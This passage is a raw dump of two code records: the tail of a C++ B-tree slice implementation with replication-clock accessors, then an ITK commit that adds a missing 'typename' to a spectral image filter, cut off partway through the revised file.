delete_queue_block.allocate(saver, *txor);\n    replication::delete_queue_block_t *dqb = reinterpret_cast<replication::delete_queue_block_t *>(delete_queue_block->get_data_major_write());\n    initialize_empty_delete_queue(txor, dqb, serializer->get_block_size());\n    sb->delete_queue_block = delete_queue_block->get_block_id();\n\n    sb->replication_clock = sb->last_sync = repli_timestamp_t::distant_past();\n    sb->replication_master_id = sb->replication_slave_id = 0;\n}\n\nbtree_slice_t::btree_slice_t(translator_serializer_t *serializer,\n                             mirrored_cache_config_t *dynamic_config,\n                             int64_t delete_queue_limit,\n                             const std::string& informal_name)\n    : cache_(serializer, dynamic_config), delete_queue_limit_(delete_queue_limit), informal_name_(informal_name) { }\n\nbtree_slice_t::~btree_slice_t() {\n    \/\/ Cache's destructor handles flushing and stuff\n}\n\nget_result_t btree_slice_t::get(const store_key_t &key, UNUSED order_token_t token) {\n    on_thread_t th(home_thread);\n    order_sink_.check_out(token);\n    return btree_get(key, this, token);\n}\n\nrget_result_t btree_slice_t::rget(rget_bound_mode_t left_mode, const store_key_t &left_key, rget_bound_mode_t right_mode, const store_key_t &right_key, UNUSED order_token_t token) {\n    on_thread_t th(home_thread);\n    order_sink_.check_out(token);\n    return btree_rget_slice(this, left_mode, left_key, right_mode, right_key, token);\n}\n\nstruct btree_slice_change_visitor_t : public boost::static_visitor<mutation_result_t> {\n    mutation_result_t operator()(const get_cas_mutation_t &m) {\n        return btree_get_cas(m.key, parent, ct, order_token);\n    }\n    mutation_result_t operator()(const sarc_mutation_t &m) {\n        return btree_set(m.key, parent, m.data, m.flags, m.exptime, m.add_policy, m.replace_policy, m.old_cas, ct, order_token);\n    }\n    mutation_result_t operator()(const incr_decr_mutation_t &m) {\n        return btree_incr_decr(m.key, parent, (m.kind == incr_decr_INCR), m.amount, ct, order_token);\n    }\n    mutation_result_t operator()(const append_prepend_mutation_t &m) {\n        return btree_append_prepend(m.key, parent, m.data, (m.kind == append_prepend_APPEND), ct, order_token);\n    }\n    mutation_result_t operator()(const delete_mutation_t &m) {\n        return btree_delete(m.key, m.dont_put_in_delete_queue, parent, ct.timestamp, order_token);\n    }\n\n    btree_slice_t *parent;\n    castime_t ct;\n    order_token_t order_token;\n};\n\nmutation_result_t btree_slice_t::change(const mutation_t &m, castime_t castime, UNUSED order_token_t token) {\n    \/\/ HEY: Honestly this is weird, we should already be on the home\n    \/\/ thread in all situations I can think of.\n    on_thread_t th(home_thread);\n\n    order_sink_.check_out(token);\n\n    btree_slice_change_visitor_t functor;\n    functor.parent = this;\n    functor.ct = castime;\n    functor.order_token = token;\n    return boost::apply_visitor(functor, m.mutation);\n}\n\nvoid btree_slice_t::delete_all_keys_for_backfill() {\n    on_thread_t th(home_thread);\n\n    btree_delete_all_keys_for_backfill(this);\n}\n\nvoid btree_slice_t::backfill(repli_timestamp since_when, backfill_callback_t *callback) {\n    assert_thread();\n\n    btree_backfill(this, since_when, callback);\n}\n\n\/* TODO: Storing replication clocks and last-sync information like this is kind of ugly because\nit's an abstraction break, which means it might not fit with clustering.\n\nThese functions are intentionally verbose because they shouldn't exist at all. The code\nduplication is a protest against how horrible it is to have this data stored here. *\/\n\nvoid btree_slice_t::set_replication_clock(repli_timestamp_t t) {\n    \/\/ Having saver before an on_thread_t means the saver's destructor\n    \/\/ is a no-op, because the on_thread_t's destructor runs right\n    \/\/ before it.\n    thread_saver_t saver;\n    on_thread_t th(cache()->home_thread);\n    transactor_t transactor(saver, cache(), rwi_write, 0, repli_timestamp_t::distant_past());\n    buf_lock_t superblock(saver, transactor, SUPERBLOCK_ID, rwi_write);\n    btree_superblock_t *sb = reinterpret_cast<btree_superblock_t *>(superblock->get_data_major_write());\n    sb->replication_clock = t;\n}\n\nrepli_timestamp btree_slice_t::get_replication_clock() {\n    thread_saver_t saver;\n    on_thread_t th(cache()->home_thread);\n    transactor_t transactor(saver, cache(), rwi_read, 0, repli_timestamp_t::distant_past());\n    buf_lock_t superblock(saver, transactor, SUPERBLOCK_ID, rwi_read);\n    const btree_superblock_t *sb = reinterpret_cast<const btree_superblock_t *>(superblock->get_data_read());\n    return sb->replication_clock;\n}\n\nvoid btree_slice_t::set_last_sync(repli_timestamp_t t) {\n    thread_saver_t saver;\n    on_thread_t th(cache()->home_thread);\n    transactor_t transactor(saver, cache(), rwi_write, 0, repli_timestamp_t::distant_past());\n    buf_lock_t superblock(saver, transactor, SUPERBLOCK_ID, rwi_write);\n    btree_superblock_t *sb = reinterpret_cast<btree_superblock_t *>(superblock->get_data_major_write());\n    sb->last_sync = t;\n}\n\nrepli_timestamp btree_slice_t::get_last_sync() {\n    thread_saver_t saver;\n    on_thread_t th(cache()->home_thread);\n    transactor_t transactor(saver, cache(), rwi_read, 0, repli_timestamp_t::distant_past());\n    buf_lock_t superblock(saver, transactor, SUPERBLOCK_ID, rwi_read);\n    const btree_superblock_t *sb = reinterpret_cast<const btree_superblock_t *>(superblock->get_data_read());\n    return sb->last_sync;\n}\n\nvoid btree_slice_t::set_replication_master_id(uint32_t t) {\n    thread_saver_t saver;\n    on_thread_t th(cache()->home_thread);\n    transactor_t transactor(saver, cache(), rwi_write, 0, repli_timestamp_t::distant_past());\n    buf_lock_t superblock(saver, transactor, SUPERBLOCK_ID, rwi_write);\n    btree_superblock_t *sb = reinterpret_cast<btree_superblock_t *>(superblock->get_data_major_write());\n    sb->replication_master_id = t;\n}\n\nuint32_t btree_slice_t::get_replication_master_id() {\n    thread_saver_t saver;\n    on_thread_t th(cache()->home_thread);\n    transactor_t transactor(saver, cache(), rwi_read, 0, repli_timestamp_t::distant_past());\n    buf_lock_t superblock(saver, transactor, SUPERBLOCK_ID, rwi_read);\n    const btree_superblock_t *sb = reinterpret_cast<const btree_superblock_t *>(superblock->get_data_read());\n    return sb->replication_master_id;\n}\n\nvoid btree_slice_t::set_replication_slave_id(uint32_t t) {\n    thread_saver_t saver;\n    on_thread_t th(cache()->home_thread);\n    transactor_t transactor(saver, cache(), rwi_write, 0, repli_timestamp_t::distant_past());\n    buf_lock_t superblock(saver, transactor, SUPERBLOCK_ID, rwi_write);\n    btree_superblock_t *sb = reinterpret_cast<btree_superblock_t *>(superblock->get_data_major_write());\n    sb->replication_slave_id = t;\n}\n\nuint32_t btree_slice_t::get_replication_slave_id() {\n    thread_saver_t saver;\n    on_thread_t th(cache()->home_thread);\n    transactor_t transactor(saver, cache(), rwi_read, 0, repli_timestamp_t::distant_past());\n    buf_lock_t superblock(saver, transactor, SUPERBLOCK_ID, rwi_read);\n    const btree_superblock_t *sb = reinterpret_cast<const btree_superblock_t *>(superblock->get_data_read());\n    return sb->replication_slave_id;\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/*=========================================================================\n *\n *  Copyright Insight Software Consortium\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\");\n *  you may not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *         http:\/\/www.apache.org\/licenses\/LICENSE-2.0.txt\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n *\n *=========================================================================*\/\n#ifndef itkSpectra1DImageFilter_hxx\n#define itkSpectra1DImageFilter_hxx\n\n#include \"itkSpectra1DImageFilter.h\"\n\n#include \"itkImageLinearConstIteratorWithIndex.h\"\n#include \"itkImageLinearIteratorWithIndex.h\"\n#include \"itkImageRegionConstIterator.h\"\n#include \"itkImageScanlineIterator.h\"\n#include \"itkImageScanlineConstIterator.h\"\n#include \"itkMetaDataObject.h\"\n\n#include \"itkSpectra1DSupportWindowImageFilter.h\"\n\nnamespace itk\n{\n\ntemplate< typename TInputImage, typename TSupportWindowImage, typename TOutputImage >\nSpectra1DImageFilter< TInputImage, TSupportWindowImage, TOutputImage >\n::Spectra1DImageFilter()\n{\n  this->AddRequiredInputName( \"SupportWindowImage\" );\n}\n\n\ntemplate< typename TInputImage, typename TSupportWindowImage, typename TOutputImage >\nvoid\nSpectra1DImageFilter< TInputImage, TSupportWindowImage, TOutputImage >\n::GenerateOutputInformation()\n{\n  Superclass::GenerateOutputInformation();\n  OutputImageType * output = this->GetOutput();\n  const SupportWindowImageType * supportWindowImage = this->GetSupportWindowImage();\n\n  output->SetSpacing( supportWindowImage->GetSpacing() );\n  output->SetLargestPossibleRegion( supportWindowImage->GetLargestPossibleRegion() );\n\n  const MetaDataDictionary & dict = supportWindowImage->GetMetaDataDictionary();\n  FFT1DSizeType fft1DSize = 32;\n  ExposeMetaData< FFT1DSizeType >( dict, \"FFT1DSize\", fft1DSize );\n  \/\/ Divide by two for Hermitian symmetry. Divide by two for Welch's method\n  \/\/ with 50% overlap\n  const FFT1DSizeType spectraComponents = fft1DSize \/ 2 \/ 2 - 1;\n\n  output->SetVectorLength( spectraComponents );\n}\n\n\ntemplate< typename TInputImage, typename TSupportWindowImage, typename TOutputImage >\nvoid\nSpectra1DImageFilter< TInputImage, TSupportWindowImage, TOutputImage >\n::BeforeThreadedGenerateData()\n{\n  const SupportWindowImageType * supportWindowImage = this->GetSupportWindowImage();\n  const MetaDataDictionary & dict = supportWindowImage->GetMetaDataDictionary();\n  FFT1DSizeType fft1DSize = 32;\n  ExposeMetaData< FFT1DSizeType >( dict, \"FFT1DSize\", fft1DSize );\n  const FFT1DSizeType spectraComponents = fft1DSize \/ 2 \/ 2 - 1;\n\n  const ThreadIdType numberOfThreads = this->GetNumberOfThreads();\n  this->m_PerThreadDataContainer.resize( numberOfThreads );\n  for( ThreadIdType threadId = 0; threadId < numberOfThreads; ++threadId )\n    {\n    PerThreadData & perThreadData = this->m_PerThreadDataContainer[threadId];\n    perThreadData.ComplexVector.set_size( fft1DSize \/ 2 );\n    perThreadData.SpectraVector.resize( spectraComponents );\n    perThreadData.LineImageRegionSize.Fill( 1 );\n    perThreadData.LineImageRegionSize[0] = fft1DSize;\n    }\n}\n\n\ntemplate< typename TInputImage, typename TSupportWindowImage, typename TOutputImage >\nvoid\nSpectra1DImageFilter< TInputImage, TSupportWindowImage, TOutputImage >\n::VerifyInputInformation()\n{\n}\n\n\ntemplate< typename TInputImage, typename TSupportWindowImage, typename TOutputImage >\nvoid\nSpectra1DImageFilter< TInputImage, TSupportWindowImage, TOutputImage >\n::AddLineWindow( FFT1DSizeType length, LineWindowMapType & lineWindowMap )\n{\n  if( lineWindowMap.count( length ) == 1 )\n    {\n    return;\n    }\n  \/\/ Currently using a Hamming Window\n  SpectraVectorType window( length );\n  ScalarType sum = NumericTraits< ScalarType >::ZeroValue();\n  for( FFT1DSizeType sample = 0; sample < length; ++sample )\n    {\n    window[sample] = 0.54 + 0.46 * std::cos( (Math::twopi * sample) \/ (length - 1) );\n    sum += window[sample];\n    }\n  for( FFT1DSizeType sample = 0; sample < length; ++sample )\n    {\n    window[sample] \/= sum;\n    }\n  lineWindowMap[length] = window;\n}\n\n\ntemplate< typename TInputImage, typename TSupportWindowImage, typename TOutputImage >\nvoid\nSpectra1DImageFilter< TInputImage, TSupportWindowImage, TOutputImage >\n::ComputeSpectra( const IndexType & lineIndex, ThreadIdType threadId, SpectraLineType & spectraLine )\n{\n  const InputImageType * input = this->GetInput();\n  PerThreadData & perThreadData = this->m_PerThreadDataContainer[threadId];\n\n  const FFT1DSizeType fftSize = static_cast< FFT1DSizeType >( perThreadData.ComplexVector.size() );\n\n  const typename InputImageType::RegionType lineRegion( lineIndex, perThreadData.LineImageRegionSize );\n  InputImageIteratorType inputIt( input, lineRegion );\n  inputIt.GoToBegin();\n  perThreadData.ComplexVector.fill( 0 );\n  typename ComplexVectorType::iterator complexVectorIt = perThreadData.ComplexVector.begin();\n  const typename ComplexVectorType::iterator complexVectorEnd = perThreadData.ComplexVector.end();\n  typename SpectraVectorType::const_iterator windowIt = perThreadData.LineWindowMap[fftSize].begin();\n  typename ComplexVectorType::const_iterator complexVectorConstIt = perThreadData.ComplexVector.begin();\n  typename SpectraVectorType::iterator spectraVectorIt = perThreadData.SpectraVector.begin();\n  const size_t highFreq = perThreadData.SpectraVector.size();\n  for( size_t freq = 0; freq < highFreq; ++freq )\n    {\n    spectraVectorIt[freq] = 0.0f;\n    }\n  const double overlap = 0.5;\n  IndexType segmentIndex( lineIndex );\n  const double spectralScale = 1.0 \/ (fftSize * fftSize);\n  for( unsigned int segment = 0; segment < 3; ++segment )\n    {\n    segmentIndex[0] = static_cast< IndexValueType >( lineIndex[0] + segment * perThreadData.LineImageRegionSize[0] * overlap \/ 3.0 );\n    inputIt.SetIndex( segmentIndex );\n    complexVectorIt = perThreadData.ComplexVector.begin();\n    windowIt = perThreadData.LineWindowMap[fftSize].begin();\n    while( complexVectorIt != complexVectorEnd )\n      {\n      *complexVectorIt = inputIt.Value() * *windowIt;\n      ++inputIt;\n      ++complexVectorIt;\n      ++windowIt;\n      }\n    FFT1DType fft1D( fftSize );\n    fft1D.bwd_transform( perThreadData.ComplexVector );\n    complexVectorConstIt = perThreadData.ComplexVector.begin();\n    spectraVectorIt = perThreadData.SpectraVector.begin();\n    \/\/ drop DC component\n    ++complexVectorConstIt;\n    for( size_t freq = 0; freq < highFreq; ++freq )\n      {\n      spectraVectorIt[freq] += std::real(*complexVectorConstIt * std::conj(*complexVectorConstIt)) \/ 3.0 * spectralScale;\n      ++complexVectorConstIt;\n      }\n    }\n\n  spectraLine.first = lineIndex;\n  spectraLine.second = perThreadData.SpectraVector;\n}\n\n\ntemplate< typename TInputImage, typename TSupportWindowImage, typename TOutputImage >\nvoid\nSpectra1DImageFilter< TInputImage, TSupportWindowImage, TOutputImage >\n::ThreadedGenerateData( const OutputImageRegionType & outputRegionForThread, ThreadIdType threadId )\n{\n  OutputImageType * output = this->GetOutput();\n  const SupportWindowImageType * supportWindowImage = this->GetSupportWindowImage();\n\n  typedef ImageLinearIteratorWithIndex< OutputImageType > OutputIteratorType;\n  OutputIteratorType outputIt( output, outputRegionForThread );\n  outputIt.SetDirection( 1 );\n\n  const MetaDataDictionary & dict = supportWindowImage->GetMetaDataDictionary();\n  PerThreadData & perThreadData = this->m_PerThreadDataContainer[threadId];\n  this->AddLineWindow( perThreadData.ComplexVector.size(), perThreadData.LineWindowMap );\n\n  SpectraLinesContainerType spectraLines;\n\n  typedef ImageLinearConstIteratorWithIndex< SupportWindowImageType > SupportWindowIteratorType;\n  SupportWindowIteratorType supportWindowIt( supportWindowImage, outputRegionForThread );\n  supportWindowIt.SetDirection( 1 );\n\n  SpectraLineType spectraLine;\n  for( outputIt.GoToBegin(), supportWindowIt.GoToBegin();\n       !outputIt.IsAtEnd();\n       outputIt.NextLine(), supportWindowIt.NextLine() )\n    {\n    spectraLines.clear();\n    while( ! outputIt.IsAtEndOfLine() )\n      {\n      \/\/ Compute the per line spectra.\n      const SupportWindowType & supportWindow = supportWindowIt.Value();\n      if( spectraLines.size() == 0 ) \/\/ first window in this lateral direction\n        {\n        const typename SupportWindowType::const_iterator windowLineEnd = supportWindow.end();\n        for( typename SupportWindowType::const_iterator windowLine = supportWindow.begin();\n             windowLine != windowLineEnd;\n             ++windowLine )\n          {\n          const IndexType & lineIndex = *windowLine;\n          this->ComputeSpectra( lineIndex, threadId, spectraLine );\n          spectraLines.push_back( spectraLine );\n          }\n        }\n      else \/\/ subsequent window along a line\n        {\n        const IndexValueType desiredFirstLine = supportWindow.front()[1];\n        while( spectraLines.front().first[1] < desiredFirstLine )\n          {\n          spectraLines.pop_front();\n          }\n        const typename SupportWindowType::const_iterator windowLineEnd = supportWindow.end();\n        typename SpectraLinesContainerType::iterator spectraLinesIt = spectraLines.begin();\n        const typename SpectraLinesContainerType::iterator spectraLinesEnd = spectraLines.end();\n        for( typename SupportWindowType::const_iterator windowLine = supportWindow.begin();\n             windowLine != windowLineEnd;\n             ++windowLine )\n          {\n          const IndexType & lineIndex = *windowLine;\n          if( spectraLinesIt == spectraLinesEnd ) \/\/ past the end of the previously processed lines\n            {\n            this->ComputeSpectra( lineIndex, threadId, spectraLine );\n            spectraLines.push_back( spectraLine );\n            }\n          else if( lineIndex[1] == (spectraLinesIt->first)[1] ) \/\/ one of the same lines that was previously computed\n            {\n            if( lineIndex[0] != (spectraLinesIt->first)[0] )\n              {\n              this->ComputeSpectra( lineIndex, threadId, spectraLine );\n              *spectraLinesIt = spectraLine;\n              }\n            ++spectraLinesIt;\n            }\n          else\n            {\n            itkExceptionMacro( \"Unexpected line\" );\n            }\n          }\n        }\n\n      \/\/ lateral window and sum\n      const size_t spectraLinesCount = spectraLines.size();\n      this->AddLineWindow( spectraLinesCount, perThreadData.LineWindowMap );\n      typename OutputImageType::PixelType outputPixel;\n      const FFT1DSizeType spectralComponents = perThreadData.SpectraVector.size();\n      outputPixel.SetSize( spectralComponents );\n      outputPixel.Fill( NumericTraits< ScalarType >::ZeroValue() );\n      typename SpectraVectorType::const_iterator windowIt = perThreadData.LineWindowMap[spectraLinesCount].begin();\n      SpectraLinesContainerType::iterator linesIt = spectraLines.begin();\n      for( size_t line = 0; line < spectraLinesCount; ++line )\n        {\n        typename SpectraVectorType::const_iterator spectraIt = linesIt->second.begin();\n        for( FFT1DSizeType sample = 0; sample < spectralComponents; ++sample )\n          {\n          outputPixel[sample] += *windowIt * *spectraIt;\n          ++spectraIt;\n          }\n        ++windowIt;\n        ++linesIt;\n        }\n      outputIt.Set( outputPixel );\n\n      ++outputIt;\n      ++supportWindowIt;\n      }\n    }\n\n  const OutputImageType * referenceSpectra = this->GetReferenceSpectraImage();\n  if( referenceSpectra != ITK_NULLPTR )\n    {\n    typedef ImageScanlineConstIterator< OutputImageType > ReferenceSpectraIteratorType;\n    ReferenceSpectraIteratorType referenceSpectraIt( referenceSpectra, outputRegionForThread );\n\n    typedef ImageScanlineIterator< OutputImageType >      PopulatedOutputIteratorType;\n    PopulatedOutputIteratorType populatedOutputIt( output, outputRegionForThread );\n\n    const unsigned int numberOfComponents = referenceSpectra->GetNumberOfComponentsPerPixel();\n    if( numberOfComponents != output->GetNumberOfComponentsPerPixel() )\n      {\n      itkExceptionMacro( \"ReferenceSpectraImage has \" << numberOfComponents << \" while the output image has \" << output->GetNumberOfComponentsPerPixel() << \" components\" );\n      }\n\n    for( referenceSpectraIt.GoToBegin(), populatedOutputIt.GoToBegin(); !populatedOutputIt.IsAtEnd();)\n      {\n      while( !populatedOutputIt.IsAtEndOfLine() )\n        {\n        typedef typename OutputImageType::PixelType PixelType;\n        PixelType outputPixel = populatedOutputIt.Get();\n        const PixelType referencePixel = referenceSpectraIt.Get();\n        for( unsigned int component = 0; component < numberOfComponents; ++component )\n          {\n          if( Math::FloatAlmostEqual( referencePixel[component], NumericTraits< typename PixelType::ValueType >::Zero ) )\n            {\n            outputPixel[component] = NumericTraits< typename PixelType::ValueType >::Zero;\n            }\n          else\n            {\n            outputPixel[component] \/= referencePixel[component];\n            }\n          }\n        populatedOutputIt.Set( outputPixel );\n\n        ++populatedOutputIt;\n        ++referenceSpectraIt;\n        }\n      populatedOutputIt.NextLine();\n      referenceSpectraIt.NextLine();\n      }\n    }\n}\n\n\n} \/\/ end namespace itk\n\n#endif\n<commit_msg>BUG: Missing typename for compliance on Linux.<commit_after>\/*=========================================================================\n *\n *  Copyright Insight Software Consortium\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\");\n *  you may not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *         http:\/\/www.apache.org\/licenses\/LICENSE-2.0.txt\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n *\n *=========================================================================*\/\n#ifndef itkSpectra1DImageFilter_hxx\n#define itkSpectra1DImageFilter_hxx\n\n#include \"itkSpectra1DImageFilter.h\"\n\n#include \"itkImageLinearConstIteratorWithIndex.h\"\n#include \"itkImageLinearIteratorWithIndex.h\"\n#include \"itkImageRegionConstIterator.h\"\n#include \"itkImageScanlineIterator.h\"\n#include \"itkImageScanlineConstIterator.h\"\n#include \"itkMetaDataObject.h\"\n\n#include \"itkSpectra1DSupportWindowImageFilter.h\"\n\nnamespace itk\n{\n\ntemplate< typename TInputImage, typename TSupportWindowImage, typename TOutputImage >\nSpectra1DImageFilter< TInputImage, TSupportWindowImage, TOutputImage >\n::Spectra1DImageFilter()\n{\n  this->AddRequiredInputName( \"SupportWindowImage\" );\n}\n\n\ntemplate< typename TInputImage, typename TSupportWindowImage, typename TOutputImage >\nvoid\nSpectra1DImageFilter< TInputImage, TSupportWindowImage, TOutputImage >\n::GenerateOutputInformation()\n{\n  Superclass::GenerateOutputInformation();\n  OutputImageType * output = this->GetOutput();\n  const SupportWindowImageType * supportWindowImage = this->GetSupportWindowImage();\n\n  output->SetSpacing( supportWindowImage->GetSpacing() );\n  output->SetLargestPossibleRegion( supportWindowImage->GetLargestPossibleRegion() );\n\n  const MetaDataDictionary & dict = supportWindowImage->GetMetaDataDictionary();\n  FFT1DSizeType fft1DSize = 32;\n  ExposeMetaData< FFT1DSizeType >( dict, \"FFT1DSize\", fft1DSize );\n  \/\/ Divide by two for Hermitian symmetry. Divide by two for Welch's method\n  \/\/ with 50% overlap\n  const FFT1DSizeType spectraComponents = fft1DSize \/ 2 \/ 2 - 1;\n\n  output->SetVectorLength( spectraComponents );\n}\n\n\ntemplate< typename TInputImage, typename TSupportWindowImage, typename TOutputImage >\nvoid\nSpectra1DImageFilter< TInputImage, TSupportWindowImage, TOutputImage >\n::BeforeThreadedGenerateData()\n{\n  const SupportWindowImageType * supportWindowImage = this->GetSupportWindowImage();\n  const MetaDataDictionary & dict = supportWindowImage->GetMetaDataDictionary();\n  FFT1DSizeType fft1DSize = 32;\n  ExposeMetaData< FFT1DSizeType >( dict, \"FFT1DSize\", fft1DSize );\n  const FFT1DSizeType spectraComponents = fft1DSize \/ 2 \/ 2 - 1;\n\n  const ThreadIdType numberOfThreads = this->GetNumberOfThreads();\n  this->m_PerThreadDataContainer.resize( numberOfThreads );\n  for( ThreadIdType threadId = 0; threadId < numberOfThreads; ++threadId )\n    {\n    PerThreadData & perThreadData = this->m_PerThreadDataContainer[threadId];\n    perThreadData.ComplexVector.set_size( fft1DSize \/ 2 );\n    perThreadData.SpectraVector.resize( spectraComponents );\n    perThreadData.LineImageRegionSize.Fill( 1 );\n    perThreadData.LineImageRegionSize[0] = fft1DSize;\n    }\n}\n\n\ntemplate< typename TInputImage, typename TSupportWindowImage, typename TOutputImage >\nvoid\nSpectra1DImageFilter< TInputImage, TSupportWindowImage, TOutputImage >\n::VerifyInputInformation()\n{\n}\n\n\ntemplate< typename TInputImage, typename TSupportWindowImage, typename TOutputImage >\nvoid\nSpectra1DImageFilter< TInputImage, TSupportWindowImage, TOutputImage >\n::AddLineWindow( FFT1DSizeType length, LineWindowMapType & lineWindowMap )\n{\n  if( lineWindowMap.count( length ) == 1 )\n    {\n    return;\n    }\n  \/\/ Currently using a Hamming Window\n  SpectraVectorType window( length );\n  ScalarType sum = NumericTraits< ScalarType >::ZeroValue();\n  for( FFT1DSizeType sample = 0; sample < length; ++sample )\n    {\n    window[sample] = 0.54 + 0.46 * std::cos( (Math::twopi * sample) \/ (length - 1) );\n    sum += window[sample];\n    }\n  for( FFT1DSizeType sample = 0; sample < length; ++sample )\n    {\n    window[sample] \/= sum;\n    }\n  lineWindowMap[length] = window;\n}\n\n\ntemplate< typename TInputImage, typename TSupportWindowImage, typename TOutputImage >\nvoid\nSpectra1DImageFilter< TInputImage, TSupportWindowImage, TOutputImage >\n::ComputeSpectra( const IndexType & lineIndex, ThreadIdType threadId, SpectraLineType & spectraLine )\n{\n  const InputImageType * input = this->GetInput();\n  PerThreadData & perThreadData = this->m_PerThreadDataContainer[threadId];\n\n  const FFT1DSizeType fftSize = static_cast< FFT1DSizeType >( perThreadData.ComplexVector.size() );\n\n  const typename InputImageType::RegionType lineRegion( lineIndex, perThreadData.LineImageRegionSize );\n  InputImageIteratorType inputIt( input, lineRegion );\n  inputIt.GoToBegin();\n  perThreadData.ComplexVector.fill( 0 );\n  typename ComplexVectorType::iterator complexVectorIt = perThreadData.ComplexVector.begin();\n  const typename ComplexVectorType::iterator complexVectorEnd = perThreadData.ComplexVector.end();\n  typename SpectraVectorType::const_iterator windowIt = perThreadData.LineWindowMap[fftSize].begin();\n  typename ComplexVectorType::const_iterator complexVectorConstIt = perThreadData.ComplexVector.begin();\n  typename SpectraVectorType::iterator spectraVectorIt = perThreadData.SpectraVector.begin();\n  const size_t highFreq = perThreadData.SpectraVector.size();\n  for( size_t freq = 0; freq < highFreq; ++freq )\n    {\n    spectraVectorIt[freq] = 0.0f;\n    }\n  const double overlap = 0.5;\n  IndexType segmentIndex( lineIndex );\n  const double spectralScale = 1.0 \/ (fftSize * fftSize);\n  for( unsigned int segment = 0; segment < 3; ++segment )\n    {\n    segmentIndex[0] = static_cast< IndexValueType >( lineIndex[0] + segment * perThreadData.LineImageRegionSize[0] * overlap \/ 3.0 );\n    inputIt.SetIndex( segmentIndex );\n    complexVectorIt = perThreadData.ComplexVector.begin();\n    windowIt = perThreadData.LineWindowMap[fftSize].begin();\n    while( complexVectorIt != complexVectorEnd )\n      {\n      *complexVectorIt = inputIt.Value() * *windowIt;\n      ++inputIt;\n      ++complexVectorIt;\n      ++windowIt;\n      }\n    FFT1DType fft1D( fftSize );\n    fft1D.bwd_transform( perThreadData.ComplexVector );\n    complexVectorConstIt = perThreadData.ComplexVector.begin();\n    spectraVectorIt = perThreadData.SpectraVector.begin();\n    \/\/ drop DC component\n    ++complexVectorConstIt;\n    for( size_t freq = 0; freq < highFreq; ++freq )\n      {\n      spectraVectorIt[freq] += std::real(*complexVectorConstIt * std::conj(*complexVectorConstIt)) \/ 3.0 * spectralScale;\n      ++complexVectorConstIt;\n      }\n    }\n\n  spectraLine.first = lineIndex;\n  spectraLine.second = perThreadData.SpectraVector;\n}\n\n\ntemplate< typename TInputImage, typename TSupportWindowImage, typename TOutputImage >\nvoid\nSpectra1DImageFilter< TInputImage, TSupportWindowImage, TOutputImage >\n::ThreadedGenerateData( const OutputImageRegionType & outputRegionForThread, ThreadIdType threadId )\n{\n  OutputImageType * output = this->GetOutput();\n  const SupportWindowImageType * supportWindowImage = this->GetSupportWindowImage();\n\n  typedef ImageLinearIteratorWithIndex< OutputImageType > OutputIteratorType;\n  OutputIteratorType outputIt( output, outputRegionForThread );\n  outputIt.SetDirection( 1 );\n\n  const MetaDataDictionary & dict = supportWindowImage->GetMetaDataDictionary();\n  PerThreadData & perThreadData = this->m_PerThreadDataContainer[threadId];\n  this->AddLineWindow( perThreadData.ComplexVector.size(), perThreadData.LineWindowMap );\n\n  SpectraLinesContainerType spectraLines;\n\n  typedef ImageLinearConstIteratorWithIndex< SupportWindowImageType > SupportWindowIteratorType;\n  SupportWindowIteratorType supportWindowIt( supportWindowImage, outputRegionForThread );\n  supportWindowIt.SetDirection( 1 );\n\n  SpectraLineType spectraLine;\n  for( outputIt.GoToBegin(), supportWindowIt.GoToBegin();\n       !outputIt.IsAtEnd();\n       outputIt.NextLine(), supportWindowIt.NextLine() )\n    {\n    spectraLines.clear();\n    while( ! outputIt.IsAtEndOfLine() )\n      {\n      \/\/ Compute the per line spectra.\n      const SupportWindowType & supportWindow = supportWindowIt.Value();\n      if( spectraLines.size() == 0 ) \/\/ first window in this lateral direction\n        {\n        const typename SupportWindowType::const_iterator windowLineEnd = supportWindow.end();\n        for( typename SupportWindowType::const_iterator windowLine = supportWindow.begin();\n             windowLine != windowLineEnd;\n             ++windowLine )\n          {\n          const IndexType & lineIndex = *windowLine;\n          this->ComputeSpectra( lineIndex, threadId, spectraLine );\n          spectraLines.push_back( spectraLine );\n          }\n        }\n      else \/\/ subsequent window along a line\n        {\n        const IndexValueType desiredFirstLine = supportWindow.front()[1];\n        while( spectraLines.front().first[1] < desiredFirstLine )\n          {\n          spectraLines.pop_front();\n          }\n        const typename SupportWindowType::const_iterator windowLineEnd = supportWindow.end();\n        typename SpectraLinesContainerType::iterator spectraLinesIt = spectraLines.begin();\n        const typename SpectraLinesContainerType::iterator spectraLinesEnd = spectraLines.end();\n        for( typename SupportWindowType::const_iterator windowLine = supportWindow.begin();\n             windowLine != windowLineEnd;\n             ++windowLine )\n          {\n          const IndexType & lineIndex = *windowLine;\n          if( spectraLinesIt == spectraLinesEnd ) \/\/ past the end of the previously processed lines\n            {\n            this->ComputeSpectra( lineIndex, threadId, spectraLine );\n            spectraLines.push_back( spectraLine );\n            }\n          else if( lineIndex[1] == (spectraLinesIt->first)[1] ) \/\/ one of the same lines that was previously computed\n            {\n            if( lineIndex[0] != (spectraLinesIt->first)[0] )\n              {\n              this->ComputeSpectra( lineIndex, threadId, spectraLine );\n              *spectraLinesIt = spectraLine;\n              }\n            ++spectraLinesIt;\n            }\n          else\n            {\n            itkExceptionMacro( \"Unexpected line\" );\n            }\n          }\n        }\n\n      \/\/ lateral window and sum\n      const size_t spectraLinesCount = spectraLines.size();\n      this->AddLineWindow( spectraLinesCount, perThreadData.LineWindowMap );\n      typename OutputImageType::PixelType outputPixel;\n      const FFT1DSizeType spectralComponents = perThreadData.SpectraVector.size();\n      outputPixel.SetSize( spectralComponents );\n      outputPixel.Fill( NumericTraits< ScalarType >::ZeroValue() );\n      typename SpectraVectorType::const_iterator windowIt = perThreadData.LineWindowMap[spectraLinesCount].begin();\n      typename SpectraLinesContainerType::iterator linesIt = spectraLines.begin();\n      for( size_t line = 0; line < spectraLinesCount; ++line )\n        {\n        typename SpectraVectorType::const_iterator spectraIt = linesIt->second.begin();\n        for( FFT1DSizeType sample = 0; 